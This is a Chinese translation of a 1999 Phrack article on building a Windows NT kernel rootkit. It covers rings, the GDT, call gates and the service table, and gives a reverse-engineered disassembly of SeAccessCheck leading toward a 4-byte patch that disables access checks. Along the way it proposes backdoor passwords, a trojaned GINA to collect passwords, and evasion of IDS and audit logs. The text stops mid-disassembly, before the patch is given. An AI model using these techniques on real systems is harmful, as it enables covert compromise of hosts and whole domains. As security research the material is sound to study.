分享
 
 
 

一个修改NT内核的真实RootKit

王朝other·作者佚名  2006-04-22
窄屏简体版  字體: |||超大  

发布日期:2003-06-16

文摘内容: 文章出处:http://www.xfocus.net/articles/200306/558.html

创建时间:2003-06-14

文章属性:翻译

文章提交:TOo2y (too2y_at_safechina.net)

------------------[ Phrack 杂志 --- 卷标 9 | 期刊 55 ]

------------------[ 一个修改NT内核的真实RootKit ]

------------------[ 作者:Greg Hoglund < hoglund@ieway.com > ]

------------------[ 翻译:TOo2y < TOo2y@safechina.net > ]

译者注:

首先要感谢sinister和alert7,没有他们的指点和帮助我也不会这么快接触到Windows的底层内核,在此一并表示感谢。

如果您对Linux的RootKit很感兴趣,可以访问大鹰的主页< http://e4gle.org >,那有很多精彩的资料。

由于时间仓促及能力有限,翻译得不妥之处,还望斧正。

绪论

----

首先,像Back Orifice和NetBus都不属于Rootkit。它们是具有和PC-Anywhere,SMS或其他的商用程序相同功能的业余版本。如果你想远程控制一台工作站,可以向微软购买一套功能强大的SMS系统。一个远程桌面/管理应用程序不是Rootkit。

什么是Rootkit?Rootkit是修改已经存在于系统内的可执行路径并具有特洛伊功能的程序集。这些进程侵犯信任处理基础(TCB)的完整性。换句话说,Rootkit就是那些插入后门到已经存在的程序,修改或损坏已经存在的安全的系统。

- Rootkit可能会破坏一个用户在登录时的审核;

- Rootkit允许任何人登录进系统,如果他们使用一个后门密码;

- Rootkit可能会修改内核,它会允许任何人执行具有特别文件名的特权代码。

所有的可能性无法想像,没有边际,但是有一点可以肯定的就是“RootKit”将自己与已经存在的系统结构联系起来,因此它往往是在暗地里运行的。而PC Anywhere那样的远程管理应用程序就仅仅是一个严密的应用程序。另一方面,RootKit在特定目标操作系统里修改已经存在的可执行路径。

为了解决这点,我在这篇文章里包含了4字节的补丁给NT的内核,它会删除在NT域内的所有的对象安全限制。如果这个补丁被运用到一个活动的主域控制器(PDC)上,那么整个域的完整性将受到侵犯。如果这个补丁在不知不觉中运行了数个星期,甚至是几个月,那时你所受到的损害将是无法确定的!

基于网络的安全与Windows NT信任域

-------------------------------

如果你对NT内核比较了解,那么你就应该知道其中的一个执行组件叫做安全参考监视器(SRM)。在DoD的红皮书中也已定义了一个“安全参考监视器”。我们现在讨论的是一个相同的话题,在红皮书中,一个安全域被一个单一的实体所管理。

引用:

“一个单一的信任系统犹如一个单一的实体一样,通过一个单一的信任证据所接受。一个单一信任系统网络执行相关的参考监视器来加强对对象访问时所应遵循的清晰的和良好定义的网络安全政策。[DoD红皮书]”

在NT中的说法就是主域控制器(PDC)。记住每一个系统都有本地安全和域安全。在这种情况下,我们只讨论域安全。PDC的安全参考监视器负责管理域内的所有对象。与此同时,它创建了一个单一的控制点,和一个单一信任系统网络。

如何侵犯系统的完整性

-------------------

我知道这些都是书中的理论,但请容忍我再罗嗦一点。DoD红皮书同样定义了“信任处理基础”(TCB)。如果你是一个NT程序员,你可能曾经使用过安全特权SE_TCB_PRIVILEGE。这个特权和“担当操作系统一部分”的用户权利非常相似。你可以通过使用管理员权限来将这个安全特权添加给某一个用户。

如果你有权担当TCB的一部分,你几乎可以做任何事情。现在在你的进程和剩下系统之间几乎没有安全措施。如果TCB不再被信任了,那么整个网络系统的完整性也已受到攻击。我将要向你展示的就是这样的一个例子,如果它被安装在一个工作站上,就会侵犯一个网络分区。如果它被安装在主域控制器上,将会侵犯整个网络的完整性。

什么是一个分区?

红皮书将网络分成NTCB(网络信任处理基础)“分区”。在网络中的任一组件或主机可以被认为是一个“分区”,这将会方便我们的分析和讨论。

引用:

“一个NTCB被分散为与分区相关的一些网络组件,并且NTCB部分所存在的组件也与NTCB分区相关。一个网络主机可能占有一个先前被我们认为是单机系统的TCB。这样的TCB没有必要与在主机内的NTCB分区相一致,它们拥有相同的安全周期[DoD红皮书]。”

在一个相同的主机里,你可能拥有两个唯一的区域:TCB在传统的红皮书里被评价为受信任处理基础和NTCB。这些分区没有必要相互交迭,但是它们可以这样做。如果任何的一个组件被侵犯了,那么看上去其他的也同样被侵犯了。换句话说,如果一台主机受到了危害,那么NTCB可能也受到了危害。

很显然,在TCB上安装一个补丁,你必须是管理员,或拥有安装设备驱动程序的能力。为了使木马或病毒正常的执行,依靠某人的知识来安装这些补丁是很简单的事情。

设想一个exploit

--------------

在我离题到那些严肃的混淆的技术前,思考一些基于修改NT内核的攻击。所有的一切都是因为我们已经侵犯了TCB:

1. 插入无效的数据。无效的数据可以被插入到任何的网络流中。同样可以插入一些错误数据到固定的存储系统中,可能是敏锐的时间信息等,这样可能会破坏系统的备份。这样将会侵犯系统的可靠性和完整性。

2. 修改进入的ICMP数据报。使用ICMP作为隐藏的渠道,补丁可以读取进入到核心的ICMP数据报内部的命令。

3. 修改进入的以太网数据报。在不使用任何驱动组件的情况下担当嗅探器的角色。如果它已经修改了以太网,那么同样可以发送/接收与外网的数据报。它还可以嗅探秘密的关键字。

4. 修改已经存在的动态链接库,比如wininet.dll,追踪进入的数据。

5. 修改入侵检测系统。它可以修改如Tripwire或RealSecure等程序来破坏它们的完整性,这样这些系统就无法探测到一些“污秽”的行动……

6. 修改审核系统,如系统事件日志来忽略一些事件日志消息。

现在为了稀有的“牛排”,让我们深入研究一个实际的内核补丁。如果你已经对保护模式和全局描述符表非常了解,你可以跳过下一节。否则,穿上你旅行的靴子,前面还有很多弯曲的路要走呢!

Rings的力量

-----------

Windows NT不像DOS或Windows 95,而是拥有自己的进程空间安全措施。每个用户模式的进程有一个被安全描述符保护的存储器空间。通常这个SD(安全描述符)由用户启动进程里的访问令牌所决定。所有对对象的访问都是通过“访问控制列表”来实现的。在Windows NT中被称为“任意访问控制”。就个人而言,我发现如果我不能了解它最基本的细节,那是很难理解其他东西的。所以在下一节里将描述使得x86结构安全成为可能的基本信息。

首先,了解“保护模式”是非常重要的。保护模式只有通过地址映射才能被很好的了解。几乎x86的所有的扩展访问能力都是建立在存储器寻址之上了。保护模式使得你可以寻址4GB的存储空间。多任务和特权等级都是建立在存储器寻址之上的把戏。这些讨论仅仅应用于386及更高级的处理器结构。

存储器被分为代码和数据段。在保护模式中,所有的存储器以段地址 + 偏移量的方式寻址的。相反地,在实模式下所有的东西都被翻译为一个实际的地址。在我们的讨论中,大家只关注保护模式。在保护模式中,所有的事情变得更加的复杂。我们必须先寻找段地址,然后是紧跟其后的偏移量。它被分成了两步来实现。为什么这个如此的让人感兴趣呢?那是因为几乎所有的现代操作系统都是这样工作的,并且它对exploits和病毒都是如此的重要。现在任何可移植的代码必须能够在这个舞台里正常运行。

什么是选择器?

选择器就是存储器段的另一个奇特的名称。存储器段通过一个表组织起来,那些表单元通常称为描述符。所以,记住一个选择器就是一个段,也就是一个描述符。它们都是一回事。

如果你了解存储器段是怎么回事,那么你就懂得整个等式!每个存储器段首先是由一个虚拟地址(16位)加上一个地址的偏移量(32位)。一个段并不像实模式那样是一个实际的地址,但是那却是需要使用的选择器的数字。这个小数字是一个描述符表的偏移量。依次,描述符自己拥有存储器段开始处的实际的线性地址。并且,描述符拥有存储器段的访问权限。

描述符被存储在称为全局描述符表(GDT)里。每个描述符有一个描述符特权等级(DPL),指示存储器段运行在哪个Ring中。

可以这样说,选择器就是你的媒介物。在NT和95下,所有的选择器覆盖了整个4GB的地址空间。如果你要使用其中的某个选择器,你要遍历存储器映射从0开始到任何地方。所有的选择器都存在,并且它们被0级DPL所保护。在Windows 9x下,选择器28对应覆盖了整个4GB区域的Ring 0级;在NT下,选择器8和10达到了同样的目的。

通过SoftIce转储GDT将构建一个类似下面的列表:

GDTBase=80036000 Limit=0x03FF

0008 Code32 00000000 FFFFFFFF 0 P RE

0010 Data32 00000000 FFFFFFFF 0 P RW

001B Code32 00000000 FFFFFFFF 3 P RE

0023 Data32 00000000 FFFFFFFF 3 P RW

0028 TSS32 8001D000 000020AB 0 P B

0048 Reserved 00000000 00000000 0 NP

0060 Data16 00000400 0000FFFF 3 P RW

......

你可以通过查看CPU的寄存器发现你当前正在使用的是哪个存储器段。寄存器SS,DS和CS表明哪个选择器正在用来指示堆栈段,代码段,和数据段。堆栈段和代码段必须处于相同的Ring级下。

段可以和其他的段相互交迭。换句话说,可以不只一个段能够对应相同的地址空间。段可以完全被另一个所交迭,也可以只是一部分而已。所以地址范围是很重要的,但是现在我们正关注另一个可口的信息。例如,一个段同样拥有一个特权等级(DPL)。

---- ----

| | | |

| | | |

| | ----

| | ----

| | | |

| | | |

---- | |

| |

----

什么是DLP?

描述符特权等级,了解这一点是很重要的。每个存储段被一个特权等级所保护,通常称为“Ring”。Intel的处理器有4个等级的Ring,从0到3,但通常只是用0和3。低的Ring等级拥有更高的特权。为了访问一个存储器段,调用者必须拥有一个和被访问对象相同或更低的特权等级。当前特权等级通常称为CPL,而描述符特权等级则通常称为DPL。

这种保护类型几乎对于任何安全结构都是必要的条件。在DOS的年代,可移植代码能够给中断创建钩子及执行任何的代码。它们可以遍历所有的存储映射空间。但是在Windows NT里我们就没有这么好的运气了!在Windows NT exploits里使用以前的技巧时却有一些不同了。最主要的问题是绝大多数的代码执行在没有访问Ring 0权限的用户模式,所以无法访问中断描述符表(IDT)或整个存储器映射。

在NT下,对Ring 0的访问约束在添加自己选择器到GDT里的权力之下。在进入到Ring 0时,你仍然存在于保护模式下,虚拟存储器管理同样在运行。

让我们想像你已经书写了一个病毒来修改全局描述符表(GDT)并添加一个新的描述符。新的描述符描述了一个覆盖整个存储器映射空间的存储器段,从0到FFFFFFFF___,这个描述符的DPL为0,所以它运行的任何代码都可以访问其他Ring 0的存储器段。实际上,它可以访问整个映射空间。一个描述符特权等级为0的存储器段被标记为“一致的”将会侵犯系统的完整性。在这个关系中,敏感的标签就是描述符特权等级(DPL)。如果它与其他的段相互交迭,将会同样侵犯其他存储器段。

如果你的描述符被标记为一致的,它可以在用户模式(Ring 3)下自由的调用,当然这个新的入口默默地为你打开着。只有少数IDS系统会监视这种类型的信息。现在你可以有效的安装一个后门到存储器映射空间里了。你可以运行在任何的进程令牌下,并拥有完全的对地址空间的读/写权限。这意味着可以读/写其他重要的表,比如中断表,同样可以读其他进程的保护代码,当然也可以通过病毒感染系统内的其他文件或进程。

修改安全参考监视器

-----------------

安全参考监视器负责加强访问控制。在NT下,所有的SRM函数都由ntoskrnl.exe传递。如果这些代码的完整性受到了侵犯,那么安全参看监视器也不再是受信任的了。整个安全系统就等于失败了。

安全参考监视器负责对任何对象的访问提出同意或否定。它参考一个进程表来获取你当前运行进程的访问令牌。然后它会比较访问令牌和对象的访问需求。每个对象都有一个安全描述(SD)。你运行的进程有一个访问令牌。比较这两个结构,SRM就可以拒绝或允许你访问这个对象。

红皮书:

“在1972年10月,计算机安全技术计划研究所提出一份美国空军电子系统分界的报告。在报告中,一个用来加强对系统中对象访问认证关系审核的参考监视器的概念。参考监视器的概念被认为是任何提供多级安全处理措施和控制系统必须的组成部分。”

它列出了参考确认机制必须面对的三个设计需求条件:

1.参考确认机制必须提供篡改证据。

2.参考确认机制必须总是被调用。

3.参考确认机制必须足够小到经受起分析和测试,它的完全性必须被确认。

安全参考监视器不能提供篡改证据。它可能被TCB安全特权所保护,但是我认为真正的能提供篡改证据的SRM应该使用加密机制。使用一个攻击工具如病毒或木马,一个补丁可以轻易的在TCB的环境下被安装。

如果你对存储器映射有访问权限,你可以修改安全参考监视器。这样,你可以插入一个特别的用户ID可以随时访问的后门。但是,这并不用你去编辑用户的安全等级。你正在访问点上修改它,并不是源代码。所以,审核程序将不会通知这个问题。这只是一个可以运用到NT RootKit中的一个小技巧。

在NT内核中有几个关键的组件。它们常常和“NT执行体”相关联。NT执行体真是一组接口定义得非常好的分散的组件。每个组件有一个定义好的接口,实际上你可以完完全全的将它替换为一个新的!只要这个新的构件实现了所有相同的接口,系统将会继续执行所有的函数,不会有任何的发现。下面是NT执行体的所有的组件:

HAL: 硬件抽象层, HAL.DLL

NTOSKERNL: 拥有几个组件, NTOSKRNL.EXE

虚拟存储器管理 (VMM)

安全参考监视器 (SRM)

输入/输出管理器

对象管理器

进程线程管理器

内核服务

本地过程调用管理器 (Local Procedure Call)

蓝屏发生时会列出很多模块来!系统就是一个巨大的存储器映射!

我们将要寻找在所有这些数据中那些我们感兴趣的!许多关键数据结构与安全有密切的关系。一旦我们知道正在寻找什么,我们就会使用SoftIce四处搜寻。那些组件输出的函数在附录A中一并列出。

使用一个类似SoftIce的工具,对SRM和其他的组件进行逆向工程是很容易的事情;)方法是非常简单的。首先,必须找到我们感兴趣的组件。它们都存在于系统存储器的某些点上……

一些关键的结构如下:

ACL (访问控制列表), 包含ACE

ACE (访问控制入口), 拥有一个32位的访问掩码和SID

SID (安全标识符), 一个大的数字

PTE (页表入口)

SD (安全描述符), 拥有一个自己的SID,一个组SID和一个ACL

AT (访问令牌)

现在是讨论一些技巧的时候了!第一件我们要做的事就是标识出那些我们将要使用的关键数据结构。如果我们想对安全参考监视器进行逆向工程,那么我们就确信我们的SID将会在某些时候某些地点被使用……那就是SoftIce将要进入的地方。SoftIce有一个难以置信的特点就是表达式。SoftIce将会让你定义一个规则表达式来描述断点。换句话说,我可以告诉你SoftIce只有在一个特别的状况发生时它才会中止。

例如(运行落实):

我想SoftIce在ESI寄存器提及我的SID时中断。因为一个SID有几个字节长,我将要定义几个分开的表达式:

bpx (ESI->0 == 0x12345678) && (ESI->4 == 0x90123456) && (ESI->8 == 0x78901234)

上面所做的就是告诉SoftIce如过ESI寄存器指向如下数据:0x123456789012345678901234时中断。注意我是怎么使用->操作符来偏移ESI的每个字节的。

现在,试着访问一个对象。SoftIce将会在你的SID被一个调用使用时敏捷的中断。

现在有很多值得我们进行逆向工程的系统组件。你可能更希望对下面的组件进行研究:

1. GINA, (GINA.DLL) 在你输入你的密码时看到的登录屏幕。

想像如果这个组件中了木马等,一个病毒可以追踪横跨企业的密码!

2. LSA (本地安全认证) 这就是负责查询SAM数据库的组件。

这是一个安装RootKit密码允许你访问系统的好地方。

3. SSDT 系统服务描述符表。

4. GDT 全局描述符表。

5. IDT 中断描述符表。

首先获得Ring 0特权

-----------------

在NT下用户模式的权力是非常有限的。你的进程被当前使用的选择符限制着。进程不能简单的跳到整个存储器映射的位置。我们已经讨论过,进程必须首先装载一个选择器。你不能简单的读从0到FFF_的存储器地址空间,你只能访问你自己拥有的存储器段。

但是这儿有一些技巧。如果进程运行在拥有“添加服务”特权的用户令牌下,你就可以创建一个你自己的调度门,随时安装之后就可以通过它运行你的Ring 0下的代码。一旦你正在运行Ring 0的代码,你就可以修改IDT或内核。这就是用户模式通常怎样访问一个Ring 0代码段。如果你不想遇到这样的麻烦,你可以在启动时负载一字节的运行在Ring 0的补丁。这就像书写一个驱动并安装,等到重启后运行一样简单。但是,安装自己的调度门却更加的迷人。

让我们谈谈迷人吧!这个回答就是调度门。所有的由NTDLL.DLL提供的函数都是通过这个方法实现的。这就是为什么你必须调用2EH中断来制造一个调用。2Eh中断的所有函数集被认为是“本地调用接口”(NCI)。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数来实现的-KiSystemService()。KiSystemService()发送这个调用到适当的代码位置。

在你使用了一个系统调用时,你必须首先装载你要调用的函数索引到EAX寄存器中。然后,如果调用需要参数,指向参数区域的指针被保存在EDX寄存器中。中断2Eh被调用,EAX寄存器保存了返回的结果。对很多汇编程序员来说这些都是“老帽子”了。

在内核里它是如何实现的还不是很明显。函数KiSystemService()被调用,剩下派遣这个调用的责任。KiSystemService()首先必须基于EAX的内容来决定哪个函数将被调用。而系统维持了一个这些函数的列表很它们的索引号码……如果你对它们感兴趣,SoftIce将会转储这个表。它看起来像:

:ntcall

Service table address: 80149398 Number of services:000000D4

0000 0008:8017451E params=06 ntoskrnl!NtConnectPort+0834

0001 0008:80199C16 params=08 ntoskrnl!SeQueryAuthenticationIdToken+04B8

0002 0008:8019B3A2 params=0B ntoskrnl!SePrivilegeObjectAuditAlarm+02B0

0003 0008:80158E50 params=02 ntoskrnl!NtAddAtom

0004 0008:80197624 params=06 ntoskrnl!NtAdjustPrivilegesToken+0422

0005 0008:80197202 params=06 ntoskrnl!NtAdjustPrivilegesToken

0006 0008:80196256 params=02 ntoskrnl!PsGetProcessExitTime+1848

0007 0008:8019620E params=01 ntoskrnl!PsGetProcessExitTime+1800

0008 0008:8015901E params=01 ntoskrnl!NtAllocateLocallyUniqueId

0009 0008:801592EC params=03 ntoskrnl!NtAllocateUuids

000A 0008:8017B0F6 params=06 ntoskrnl!NtAllocateVirtualMemory

000B 0008:8011B8E4 params=03 ntoskrnl!ZwYieldExecution+08AC

......

好了,这些信息的确非常有趣,但是这个列表是存储在系统的什么地方的呢?SoftIce又是如何读取这些信息的呢?当然这一切都是未公开的!在此我要感谢我的朋友Sri Lanka,他的关于NCI扩展的文章是如此的让人兴奋。本节我引用了很多他的研究结果。我想我的这篇文章如果没有调度门和NCI肯定是不完整的,所以我解释了很多他的工作成果。如果你想得到更多更详细的关于添加系统服务的信息,请参阅他的名为《添加新的服务到NT内核本地API》的文章。

在你启动NT时一件有趣的事情发生了。你将会启动在NCI中的200多个函数,它们都是在NTOSKRNL.EXE中实现的。但是,一会儿其他的500多个函数被添加到了NCI中,这些函数是在WIN32K.SYS中实现的。添加新函数的事实证明在运行时注册新的函数到NCI中是可能的。

在你输入NTCALL命令给SoftIce时,它所转储的信息叫做系统服务描述符表(SSDT)。SSDT是函数KiSystemService()用来为2Eh中断查询适当的对应函数。我们可以看到NCI是可扩展的,所以添加新的函数到这个表中肯定是可能的。

并且在系统中实际上有多个表。WIN32K.SYS并不是添加新函数到存在的系统列表,但是创建一个完全新的包含500多个函数的表,然后将它添加到系统中。为了做到这一点,它调用系统输出的函数KeAddSystemServiceTable()。所以,所有我们要做的就是创建一个新的包含我们自己函数的表和一些相同的事情。

还有就是添加我们的函数到存在的NCI表,但是这包括修改存储器。为了干干净净的实现我们的诡计,必须分配新的且大得足够包含已有的表和我们新添加表大小的存储空间。然后,我们必须复制已有的表到我们新的存储空间,添加我们的单元,最后调用KiSystemService()指向我们自己新的列表。

四字节补丁

---------

课程一。不要做一些你不必要的额外的工作,这是我自己生活中的故事。在这个项目中,我首先逆向分析了RtlXXX子程序。例如,有一个叫做RtlGetOwnerSecurityDescriptor()的程序。这是一个通过已给的安全描述符返回用户SID的简单程序单元。我修改了这个程序来验证BUILTIN\Administrators组,并改变它为BUILTIN\Users组。尽管这个不定仍然工作,但是它并没有帮助我获得访问被保护文件和共享资源的权力。RTL程序仅在创建进程和线程时被调用。简言之,在下面我包含了RTLXXX的信息和不定,它将举一个工作的内核补丁的例子,这将帮助你理解我的获取一个关键内核函数的想法和过程。

课程二。如果在课程一中你没有成功,试一试另一个函数。这次我更聪明了,决定在做任何额外工作以前在系统中设置了一些断点。因为我想获得关于文件目录的访问,所以直接瞄准了函数SeAccessCheck()。为了确信在访问一个文件时系统要调用这个函数,我给它设置了一个断点。让我惊喜的是在访问任何对象时都要调用这个函数,而不仅仅是访问文件时,同样在网络访问时要调用它。然后我测试了我的下一个类似文件访问的针对网络共享访问的补丁。我创建了一个测试目录,共享到网络上,并在目录内创建了一个文件。

首先,文件拥有任何人完全控制的许可权。我在函数SeAccessCheck()出设置了断点,试图和文件建立一些联系。就这么一个简单的命令,这个函数被调用了三次:

Break due to BPX ntoskrnl!SeAccessCheck (ET=2.01 seconds)

:stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734)

Break due to BPX ntoskrnl!SeAccessCheck (ET=991.32 microseconds)

:stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8)

Break due to BPX ntoskrnl!SeAccessCheck (ET=637.15 microseconds)

:stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720)

其次,我设置了管理员无权访问这个文件。当我试图访问这个文件时,等到了“访问被拒绝”的消息。在显示消息之前,这个函数被调用了13次。现在我试图通过网络访问这个文件,这个函数被调用了18次。看起来拒绝访问比起允许访问要做更多的工作了。

现在我更加聪明了,看来我已经找到了目标。再两杯弄咖啡之后,转储了SeAccessCheck()的IDA文件,并开始探索起来:

为了更加的简单,在我的讨论中删除了一些汇编代码。如果你打算仔细研究,那需要你自己去反汇编所有的代码,我推荐IDA。开始我使用了WDAsm32,但是它不能完全反编译NTOSKRNL.EXE的二进制文件。另一方面,IDA却没有任何的问题。WDAsm32有非常不错的图形接口,但是IDA看来更可靠。就像很多工程师一样,在我的工作中我使用了很多工具,所以我推荐大家同样要安装反汇编工具。

函数和补丁:

8019A0E6 ; Exported entry 816. SeAccessCheck

8019A0E6

8019A0E6 ;

===========================================================================

8019A0E6

8019A0E6 ; S u b r o u t i n e

8019A0E6 ; Attributes: bp-based frame

8019A0E6

8019A0E6 public SeAccessCheck

8019A0E6 SeAccessCheck proc near

8019A0E6 ; sub_80133D06+B0p ...

8019A0E6

8019A0E6 arg_0 = dword ptr 8 ; appears to point to a

; Security Descriptor

8019A0E6 arg_4 = dword ptr 0Ch

8019A0E6 arg_8 = byte ptr 10h

8019A0E6 arg_C = dword ptr 14h

8019A0E6 arg_10 = dword ptr 18h

8019A0E6 arg_14 = dword ptr 1Ch

8019A0E6 arg_18 = dword ptr 20h

8019A0E6 arg_1C = dword ptr 24h

8019A0E6 arg_20 = dword ptr 28h

8019A0E6 arg_24 = dword ptr 2Ch

8019A0E6

8019A0E6 push ebp

8019A0E7 mov ebp, esp

8019A0E9 push ebx

8019A0EA push esi

8019A0EB push edi

8019A0EC cmp byte ptr [ebp+arg_1C], 0

8019A0F0 mov ebx, [ebp+arg_C]

8019A0F3 jnz short loc_8019A137

8019A0F5 test ebx, 2000000h

8019A0FB jz short loc_8019A11D

8019A0FD mov eax, [ebp+arg_18]

8019A100 mov edi, [ebp+arg_20]

8019A103 mov ecx, ebx

8019A105 mov eax, [eax+0Ch]

8019A108 and ecx, 0FDFFFFFFh

8019A10E mov [edi], eax

8019A110 or ecx, eax

8019A112 mov eax, [ebp+arg_10]

8019A115 or eax, ecx

8019A117 mov [edi], ecx

8019A119 mov [edi], eax

8019A11B jmp short loc_8019A13A

8019A11D ;

===========================================================================

8019A11D

8019A11D loc_8019A11D: ; CODE XREF: SeAccessCheck+15

8019A11D mov eax, [ebp+arg_10]

8019A120 mov edi, [ebp+arg_20]

8019A123 or eax, ebx

8019A125 mov edx, [ebp+arg_24]

8019A128 mov [edi], eax

8019A12A mov al, 1

8019A12C mov dword ptr [edx], 0

8019A132 jmp loc_8019A23A

8019A137 ;

===========================================================================

8019A137

8019A137 loc_8019A137: ; CODE XREF: SeAccessCheck+D

8019A137 mov edi, [ebp+arg_20]

8019A13A

8019A13A loc_8019A13A: ; CODE XREF: SeAccessCheck+35

8019A13A cmp [ebp+arg_0], 0

8019A13E jnz short loc_8019A150

8019A140 mov edx, [ebp+arg_24]

8019A143 xor al, al

; STATUS_ACCESS_DENIED not hit

; under normal means

8019A145 mov dword ptr [edx], 0C0000022h

8019A14B jmp loc_8019A23A

8019A150 ;

===========================================================================

8019A150

8019A150 loc_8019A150: ; CODE XREF: SeAccessCheck+58

8019A150 mov esi, [ebp+arg_4]

8019A153 cmp dword ptr [esi], 0

8019A156 jz short loc_8019A16E

8019A158 cmp dword ptr [esi+4], 2

8019A15C jge short loc_8019A16E

8019A15E mov edx, [ebp+arg_24]

8019A161 xor al, al

; STATUS_BAD_IMPERSONATION_LEVEL

; not normally hit

8019A163 mov dword ptr [edx], 0C00000A5h

8019A169 jmp loc_8019A23A

8019A16E ;

===========================================================================

8019A16E

8019A16E loc_8019A16E: ; CODE XREF: SeAccessCheck+70

8019A16E ; SeAccessCheck+76

8019A16E test ebx, ebx

8019A170 jnz short loc_8019A1A0

8019A172 cmp [ebp+arg_10], 0

8019A176 jnz short loc_8019A188

8019A178 mov edx, [ebp+arg_24]

8019A17B xor al, al

; STATUS_ACCESS_DENIED not

; normally hit

8019A17D mov dword ptr [edx], 0C0000022h

8019A183 jmp loc_8019A23A

8019A188 ;

===========================================================================

8019A188

8019A188 loc_8019A188: ; CODE XREF: SeAccessCheck+90

8019A188 mov eax, [ebp+arg_10]

8019A18B xor ecx, ecx

8019A18D mov edx, [ebp+arg_24]

8019A190 mov [edi], eax

8019A192 mov eax, [ebp+arg_14]

8019A195 mov [edx], ecx

8019A197 mov [eax], ecx

8019A199 mov al, 1

8019A19B jmp loc_8019A23A

8019A1A0 ;

===========================================================================

8019A1A0

8019A1A0 loc_8019A1A0: ; CODE XREF: SeAccessCheck+8A

8019A1A0 cmp [ebp+arg_8], 0

8019A1A4 jnz short loc_8019A1AC

8019A1A6 push esi

8019A1A7 call SeLockSubjectContext

8019A1AC

8019A1AC loc_8019A1AC: ; CODE XREF: SeAccessCheck+BE

8019A1AC test ebx, 2060000h

8019A1B2 jz short loc_8019A1EA

8019A1B4 mov eax, [esi]

8019A1B6 test eax, eax

8019A1B8 jnz short loc_8019A1BD

8019A1BA mov eax, [esi+8]

8019A1BD

8019A1BD loc_8019A1BD: ; CODE XREF: SeAccessCheck+D2

8019A1BD push 1

8019A1BF push [ebp+arg_0]

8019A1C2 push eax

8019A1C3 call sub_8019A376

8019A1C8 test al, al

8019A1CA jz short loc_8019A1EA

8019A1CC test ebx, 2000000h

8019A1D2 jz short loc_8019A1DA

8019A1D4 or byte ptr [ebp+arg_10+2], 6

8019A1D8 jmp short loc_8019A1E4

8019A1DA ;

===========================================================================

8019A1DA

8019A1DA loc_8019A1DA: ; CODE XREF: SeAccessCheck+EC

8019A1DA mov eax, ebx

8019A1DC and eax, 60000h

8019A1E1 or [ebp+arg_10], eax

8019A1E4

8019A1E4 loc_8019A1E4: ; CODE XREF: SeAccessCheck+F2

8019A1E4 and ebx, 0FFF9FFFFh

8019A1EA

8019A1EA loc_8019A1EA: ; CODE XREF: SeAccessCheck+CC

8019A1EA ; SeAccessCheck+E4

8019A1EA test ebx, ebx

8019A1EC jnz short loc_8019A20C

8019A1EE cmp [ebp+arg_8], 0

8019A1F2 jnz short loc_8019A1FA

8019A1F4 push esi

8019A1F5 call SeUnlockSubjectContext

8019A1FA

8019A1FA loc_8019A1FA: ; CODE XREF: SeAccessCheck+10

8019A1FA mov eax, [ebp+arg_10]

8019A1FD mov edx, [ebp+arg_24]

8019A200 mov [edi], eax

8019A202 mov al, 1

8019A204 mov dword ptr [edx], 0

8019A20A jmp short loc_8019A23A

8019A20C ;

===========================================================================

通过以上的论据,发现这个程序只是另一个函数的包装而已,让我们进行更深入的研究吧……

8019A20C

8019A20C loc_8019A20C: ; CODE XREF: SeAccessCheck+106

8019A20C push [ebp+arg_24]

8019A20F push [ebp+arg_14]

8019A212 push edi

8019A213 push [ebp+arg_1C]

8019A216 push [ebp+arg_10]

8019A219 push [ebp+arg_18]

8019A21C push ebx

8019A21D push dword ptr [esi]

8019A21F push dword ptr [esi+8]

8019A222 push [ebp+arg_0]

8019A225 call sub_80199836 ; decompiled below ***

8019A22A cmp [ebp+arg_8], 0

8019A22E mov bl, al

8019A230 jnz short loc_8019A238

8019A232 push esi

8019A233 call SeUnlockSubjectContext ; not usually hit

8019A238

8019A238 loc_8019A238: ; CODE XREF: SeAccessCheck+14A

8019A238 mov al, bl

8019A23A

8019A23A loc_8019A23A: ; CODE XREF: SeAccessCheck+4C

8019A23A ; SeAccessCheck+65 ...

8019A23A pop edi

8019A23B pop esi

8019A23C pop ebx

8019A23D pop ebp

8019A23E retn 28h

8019A23E SeAccessCheck endp

子程序被SeAccessCheck所调用。看起来大多说工作都是在此完成的。我试试修改这个程序。

80199836 ;

==============================================================================

80199836

80199836 ; S u b r o u t i n e

80199836 ; Attributes: bp-based frame

80199836

80199836 sub_80199836 proc near ; CODE XREF: PAGE:80199FFA

80199836 ; SeAccessCheck+13F ...

80199836

80199836 var_14 = dword ptr -14h

80199836 var_10 = dword ptr -10h

80199836 var_C = dword ptr -0Ch

80199836 var_8 = dword ptr -8

80199836 var_2 = byte ptr -2

80199836 arg_0 = dword ptr 8

80199836 arg_4 = dword ptr 0Ch

80199836 arg_8 = dword ptr 10h

80199836 arg_C = dword ptr 14h

80199836 arg_10 = dword ptr 18h

80199836 arg_16 = byte ptr 1Eh

80199836 arg_17 = byte ptr 1Fh

80199836 arg_18 = dword ptr 20h

80199836 arg_1C = dword ptr 24h

80199836 arg_20 = dword ptr 28h

80199836 arg_24 = dword ptr 2Ch

80199836

80199836 push ebp

80199837 mov ebp, esp

80199839 sub esp, 14h

8019983C push ebx

8019983D push esi

8019983E push edi

8019983F xor ebx, ebx

80199841 mov eax, [ebp+arg_8] ; pulls eax

80199844 mov [ebp+var_14], ebx ; ebx is zero, looks

; like it init's a

; bunch of local vars

80199847 mov [ebp+var_C], ebx

8019984A mov [ebp-1], bl

8019984D mov [ebp+var_2], bl

80199850 cmp eax, ebx ; check that arg8 is

; NULL

80199852 jnz short loc_80199857

80199854 mov eax, [ebp+arg_4] ; arg4 pts to

; "USER32 "

80199857

80199857 loc_80199857:

80199857 mov edi, [ebp+arg_C] ; checking some flags

; off of this one

8019985A mov [ebp+var_8], eax ; var_8 = arg_4

8019985D test edi, 1000000h ; obviously flags..

; desired access mask

; I think...

80199863 jz short loc_801998CA ; normally this jumps..

; go ahead and jump

80199865 push [ebp+arg_18]

80199868 push [ebp+var_8]

8019986B push dword_8014EE94

80199871 push dword_8014EE90

80199877 call sub_8019ADE0 ; another undoc'd sub

8019987C test al, al ; return code

8019987E jnz short loc_80199890

80199880 mov ecx, [ebp+arg_24]

80199883 xor al, al

